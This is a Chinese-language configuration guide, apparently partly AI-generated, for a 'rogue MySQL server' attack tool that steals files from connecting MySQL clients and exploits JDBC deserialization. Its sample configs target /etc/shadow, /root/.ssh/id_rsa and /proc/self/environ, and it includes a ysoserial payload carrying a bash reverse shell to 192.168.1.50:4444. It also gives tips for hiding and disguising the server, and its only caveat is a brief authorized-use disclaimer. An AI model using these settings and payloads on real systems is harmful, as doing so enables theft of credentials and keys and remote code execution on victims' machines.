Rogue Mysql Server配置文件完全指南:从入门到精通的参数设置
【免费下载链接】rogue_mysql_serverA rouge mysql server supports reading files from most mysql libraries of multiple programming languages.项目地址: https://gitcode.com/gh_mirrors/ro/rogue_mysql_server
Rogue Mysql Server是一款功能强大的恶意MySQL服务器工具,支持从多种编程语言的MySQL客户端库中读取文件。这个终极配置指南将为您详细解析每个参数的作用,帮助您快速掌握从基础配置到高级安全测试的完整设置流程。无论您是安全研究人员还是系统管理员,这篇完整的教程都将帮助您充分利用Rogue Mysql Server的强大功能。
📋 配置文件基础结构
Rogue Mysql Server使用YAML格式的配置文件,默认文件名为config.yaml。您可以通过以下命令生成默认配置文件模板:
./rogue_mysql_server -generate或者手动指定配置文件路径:
./rogue_mysql_server -config other_config.yaml🔧 核心配置参数详解
网络监听设置
host和port参数控制服务器的监听地址和端口:
host: 0.0.0.0 port: 3306host: 监听IP地址,0.0.0.0表示监听所有网络接口port: 监听端口,默认为MySQL标准端口3306
服务器伪装设置
version_string参数用于伪装服务器版本信息:
version_string: "10.4.13-MariaDB-log"这个参数决定了客户端连接时看到的服务器版本信息,可以设置为常见的MySQL或MariaDB版本字符串,以更好地伪装成合法服务器。
📁 文件读取功能配置
目标文件列表
file_list参数定义要读取的文件路径列表:
file_list: ["/etc/passwd", "C:/boot.ini"]这个列表支持跨平台路径格式,包含Linux和Windows系统的关键文件路径。注意:服务器不会一次性读取所有文件,而是按顺序逐个读取。
文件保存设置
save_path参数指定读取文件的保存位置:
save_path: ./loot所有成功读取的文件都会保存到这个目录中,便于后续分析。
读取行为控制
always_read参数控制读取策略:
always_read: truetrue: 无论客户端是否支持LOAD DATA LOCAL,都尝试读取文件false: 根据客户端的LOAD DATA LOCAL支持标记决定是否读取
from_database_name参数启用数据库名提取功能:
from_database_name: false当设置为true时,服务器会从客户端连接字符串的数据库名称中提取要读取的文件路径,而不是使用file_list中的设置。
文件大小限制
max_file_size参数限制读取文件的最大大小:
max_file_size: 00: 无限制- 大于0的值:以字节为单位限制文件大小
🔐 认证系统配置
认证开关
auth参数控制是否启用用户认证:
auth: falsefalse: 禁用认证,任何用户名密码都可登录true: 启用认证,需要匹配users列表中的凭据
用户账户管理
users参数定义合法的用户凭据:
users: - root: root - root: password格式为用户名: 密码的键值对列表。启用认证后,客户端必须提供匹配的用户名和密码才能连接。
⚡ JDBC反序列化漏洞利用配置
漏洞利用开关
jdbc_exploit参数控制JDBC反序列化漏洞利用功能:
jdbc_exploit: falsetrue: 检测到mysql-connector-j客户端时自动利用漏洞false: 禁用漏洞利用功能
always_exploit参数强制启用漏洞利用:
always_exploit: false当设置为true时,无论客户端类型如何,都尝试进行漏洞利用。
攻击载荷配置
ysoserial_command参数定义反序列化攻击载荷生成命令:
ysoserial_command: cc4: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections4", 'touch /tmp/cc4'] cc7: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections7", 'touch /tmp/cc7']每个条目定义了一个攻击载荷,包含命令名称和执行参数。客户端可以通过连接属性指定要使用的载荷。
🚀 实战配置示例
基础蜜罐配置
host: 0.0.0.0 port: 3306 version_string: "10.4.13-MariaDB-log" file_list: ["/etc/passwd", "/etc/shadow", "/root/.ssh/id_rsa"] save_path: ./captured_files always_read: true from_database_name: false max_file_size: 10485760 # 10MB限制 auth: true users: - admin: SecurePass123! - root: mysql_password高级安全测试配置
host: 192.168.1.100 port: 3307 # 非标准端口 version_string: "8.0.28" file_list: ["/etc/hosts", "/proc/self/environ", "/var/log/auth.log"] save_path: /tmp/rogue_loot always_read: false # 更隐蔽 from_database_name: true # 从数据库名提取文件路径 max_file_size: 5242880 # 5MB限制 auth: false # 允许任意连接 jdbc_exploit: true always_exploit: false ysoserial_command: revshell: ["java", "-jar", "ysoserial.jar", "CommonsCollections5", "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'"]💡 配置优化技巧
1. 隐蔽性优化
使用非标准端口和合理的版本字符串可以提高隐蔽性:
port: 3307 version_string: "5.7.35-log" # 使用常见版本2. 性能优化
合理设置文件大小限制可以避免内存溢出:
max_file_size: 10485760 # 10MB3. 兼容性配置
针对不同客户端调整读取策略:
always_read: false # 仅对支持LOAD DATA LOCAL的客户端读取文件4. 日志管理
定期清理保存的文件,避免磁盘空间问题:
save_path: /tmp/rogue_loot_$(date +%Y%m%d) # 按日期创建目录🛠️ 故障排除指南
常见问题及解决方案
客户端连接失败
- 检查防火墙设置
- 验证端口是否被占用
- 确认IP地址绑定正确
文件读取失败
- 检查文件路径权限
- 验证文件是否存在
- 确认
max_file_size设置是否过小
认证问题
- 确保
auth参数设置正确 - 检查
users列表格式 - 验证客户端使用的凭据
- 确保
JDBC利用失败
- 确认客户端版本是否支持漏洞
- 检查
ysoserial_command配置 - 验证网络连接和权限
📊 配置参数速查表
| 参数 | 类型 | 默认值 | 说明 |
|---|---|---|---|
| host | string | "0.0.0.0" | 监听IP地址 |
| port | string | "3306" | 监听端口 |
| version_string | string | "10.4.13-MariaDB-log" | 服务器版本伪装 |
| file_list | []string | ["/etc/passwd", "C:/boot.ini"] | 目标文件列表 |
| save_path | string | "./loot" | 文件保存路径 |
| always_read | bool | true | 强制读取开关 |
| from_database_name | bool | false | 从数据库名提取文件 |
| max_file_size | int64 | 0 | 文件大小限制 |
| auth | bool | false | 认证开关 |
| users | []map[string]string | [] | 用户凭据列表 |
| jdbc_exploit | bool | false | JDBC漏洞利用开关 |
| always_exploit | bool | false | 强制漏洞利用 |
| ysoserial_command | map[string][]string | {} | 攻击载荷命令 |
🎯 最佳实践建议
安全第一原则
- 仅用于授权测试:确保在合法授权范围内使用
- 隔离环境:在隔离的网络环境中运行
- 及时清理:测试完成后立即停止服务并清理数据
性能优化
- 合理限制文件大小:避免读取超大文件导致性能问题
- 使用适当的内存管理:监控服务器内存使用情况
- 定期日志轮转:避免日志文件过大
兼容性保证
- 测试多种客户端:确保兼容go、php、python、java等常见库
- 版本适配:根据目标环境调整服务器版本伪装
- 协议兼容:保持与标准MySQL协议的兼容性
通过这篇完整的配置指南,您已经掌握了Rogue Mysql Server的所有配置参数和最佳实践。无论是基础的蜜罐部署还是高级的安全测试,合理的配置都是成功的关键。记住,工具的强大功能需要负责任的使
【免费下载链接】rogue_mysql_serverA rouge mysql server supports reading files from most mysql libraries of multiple programming languages.项目地址: https://gitcode.com/gh_mirrors/ro/rogue_mysql_server
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考